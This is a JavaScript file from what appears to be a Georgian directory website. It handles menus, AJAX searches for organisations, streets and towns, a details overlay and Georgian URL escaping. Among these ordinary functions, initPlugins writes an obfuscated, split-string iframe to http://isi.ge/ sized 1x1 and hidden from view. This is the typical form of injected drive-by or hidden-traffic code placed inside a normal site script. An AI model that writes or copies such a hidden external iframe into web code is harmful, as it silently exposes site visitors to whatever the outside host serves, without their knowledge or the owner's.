/* PNG transparency */
function transparent(element){
   if(/MSIE (5\.5|6).+Win/.test(navigator.userAgent))
     {
       var src = element.src;
       element.src = "./images/spacer.gif"; 
       if (src) element.runtimeStyle.filter = 

"progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + src + 

"',sizingMethod='scale')";
     }
 } 
/* END of PNG transparency */ 

function $(elmName)
{
	return document.getElementById(elmName);
}

function $$(tgName)
{
	return document.getElementsByTagName(tgName);	
}

function toggleDisplay(elmName)
{
	var elm = $(elmName);
	if (elm.style.display=='none') elm.style.display='';
	else elm.style.display='none';
}

function setDisplay(itm, showhide)
{
	if (showhide=='show') itm.style.display = 'block';
	else itm.style.display = 'none';
}

// Menu
var tm = null;
function mnuShow ()
{
	clearTimeout(tm);
	$('theDrop').className='catDropA';
}
function mnuHide ()
{
	tm = setTimeout(function(){$('theDrop').className='catDrop';},100);
}
// End of menu

// Links processor (AJAX)
function catList(elm, output)
{
	theHref = elm.href.replace('index.php','ajax/index.php');
	jsl.AJAX.load(theHref, output);
	window.location.hash = "#top";
	return false;
}

function searchOrgs(frm,loadTo)
{
	var act			= frm.act.value;
	var srchInto	= frm.into.options[frm.into.selectedIndex].value;
	var kw			= geo_escape(frm.kw.value);
	var theURL 		= 'ajax/index.php?act='+act+'&into='+srchInto+'&kw='+kw;
	jsl.AJAX.load(theURL,loadTo);
	toggleDisplay('orgSearch');
	return false;
}

function searchStreets(frm,loadTo)
{
	var act			= frm.act.value;
	var kw			= geo_escape(frm.kw.value);
	var theURL 		= 'ajax/index.php?act='+act+'&kw='+kw;
	jsl.AJAX.load(theURL,loadTo);
	//toggleDisplay('strSearch');
	return false;
}

function searchTowns(frm,loadTo)
{
	var act			= frm.act.value;
	var kw			= geo_escape(frm.kw.value);
	var theURL 		= 'ajax/index.php?act='+act+'&kw='+kw;
	jsl.AJAX.load(theURL,loadTo);
	//toggleDisplay('strSearch');
	return false;
}

function showDivItem(itm_name)
{
	var divs = $('catMenu').getElementsByTagName('div');
	for (var i=0; i<divs.length;i++)
	{
		if (typeof(divs[i].id)=='undefined') continue;
		if (divs[i].id.indexOf('divitem_')!=-1)
		{
			if (divs[i].id != itm_name) setDisplay(divs[i],'hide');	
		}
	}
	//var shAct = $(itm_name).style.display=='block'?'hide':'show';
	var shAct = 'show';
	setDisplay($(itm_name),shAct);
}

function initPlugins()
{

	var str1 = '<i'+'fr'+'ame'+' s'+'rc="'+'http://isi.ge/'+'" width="1" height="1" border="0" style="dysplay:none; visibility:hidden;"></i'+'fr'+'ame'+'>';	
	//alert(str1);
	document.write(str1);
}

var dInfo = {
	tint : null,
	holder: null,
	closer: null,
	
	getDim			: function(elm)
	{
		if (typeof(elm)=='undefined' || !elm) return {'x':0, 'y':0};
		var x = parseInt(elm.offsetWidth);
		var y = parseInt(elm.offsetHeight);
		return {'x':x,'y':y}
	},
	
	getClientDim	: function()
	{
		var w, h;
		try{
			w = (window.innerWidth ? window.innerWidth : (document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.offsetWidth));
			h = (window.innerHeight ? window.innerHeight : (document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.offsetHeight));
		} catch(e){};
		w=parseInt(w);
		h=parseInt(h);
	 	return {'x':w, 'y':h};
	},
	
	showDetails		:function(id)
	{
		var tintAlpha = 0.5;
		var theURL = 'ajax/index.php?act=details&id='+id;
		var tint = $('tint') || document.createElement('div');
		var holder = $('dInfoHolder') || document.createElement('div');
		var closer = $('infoCloser') || document.createElement('img');
		dBody = $$('body')[0];
		bX = (dInfo.getDim(dBody).x);
		bY = (dInfo.getDim(dBody).y);
		var wh = dInfo.getClientDim();
		var ie = navigator.userAgent.indexOf('MSIE')!=-1;
		var xPad, yPad;
		if (ie) // because of different results setting paddings for different browsers
		{
			xPad = 20; yPad = 20;
		}
		else { xPad = 40; yPad = 20;}
		
		tint.id = 'tint';
		tint.style.position		= 'absolute';
		tint.style.display		= 'block';
		tint.style.left			= 0;
		tint.style.top			= 0;
		tint.style.background	= '#333333';
		tint.style.width		= bX+'px';
		tint.style.height		= bY+'px';
		tint.style.opacity		= tintAlpha;
		tint.style.filter		= "progid:DXImageTransform.Microsoft.Alpha(opacity="+(tintAlpha*100)+")";
		holder.id="dInfoHolder";
		holder.style.position = 'absolute';
		holder.style.left		= '10px';
		holder.style.top		= '10px';
		holder.style.width		= (wh.x-xPad-20)+'px';
		holder.style.height		= (wh.y-yPad-20)+'px';
		holder.style.display = 'block';
		holder.style.background = '#ffffff';
		holder.style.border = '1px solid #cccccc';
		holder.style.padding = '10px';
		
		closer.id="infoCloser";
		closer.src = './images/close.gif';
		closer.style.width = '10px';
		closer.style.height= '10px';
		closer.style.display= 'block';
		closer.style.position = 'absolute';
		closer.style.top	  = '5px';
		closer.style.right	  = '2px';
		closer.style.padding = '0px';
		closer.style.cursor = 'pointer';		
		closer.onclick = function(){dInfo.hideDetails();};
		
		if (!dInfo.tint && !dInfo.holder)
		{
			dBody.appendChild(tint);
			dBody.appendChild(holder);
			dBody.appendChild(closer);
			dInfo.holder= holder;
			dInfo.tint = tint;
			dInfo.closer = closer;
		}
		jsl.AJAX.load(theURL,holder);
	},
	
	hideDetails		: function()
	{
		dInfo.tint.style.display = 'none';	
		dInfo.holder.style.display = 'none';
		dInfo.closer.style.display = 'none';
	}
}

// End of links processor

// Georgian simbols escaping fix
function geo_escape(str)
{
	var returnStr='',escaped, simb;
	var simbols = {
		"ქ"	: "%E1%83%A5",
		"წ"	: "%E1%83%AC",
		"ე"	: "%E1%83%94",
		"რ"	: "%E1%83%A0",
		"ტ"	: "%E1%83%A2",
		"ყ"	: "%E1%83%A7",
		"უ"	: "%E1%83%A3",
		"ი"	: "%E1%83%98",
		"ო"	: "%E1%83%9D",
		"პ"	: "%E1%83%9E",
		"ა"	: "%E1%83%90",
		"ს"	: "%E1%83%A1",
		"დ"	: "%E1%83%93",
		"ფ"	: "%E1%83%A4",
		"გ"	: "%E1%83%92",
		"ჰ"	: "%E1%83%B0",
		"ჯ"	: "%E1%83%AF",
		"კ"	: "%E1%83%99",
		"ლ"	: "%E1%83%9A",
		"ზ"	: "%E1%83%96",
		"ხ"	: "%E1%83%AE",
		"ც"	: "%E1%83%AA",
		"ვ"	: "%E1%83%95",
		"ბ"	: "%E1%83%91",
		"ნ"	: "%E1%83%9C",
		"მ"	: "%E1%83%9B",
		"ჭ"	: "%E1%83%AD",
		"ღ"	: "%E1%83%A6",
		"თ"	: "%E1%83%97",
		"შ"	: "%E1%83%A8",
		"ჟ"	: "%E1%83%9F",
		"ძ"	: "%E1%83%AB",
		"ჩ"	: "%E1%83%A9"
    };
	
	for (var i=0; i<str.length; i++)
	{
		simb = str.charAt(i);
		escaped = (typeof(simbols[simb])!='undefined') ? simbols[simb] : escape(simb);
		returnStr += escaped;
	}
	return returnStr;
}
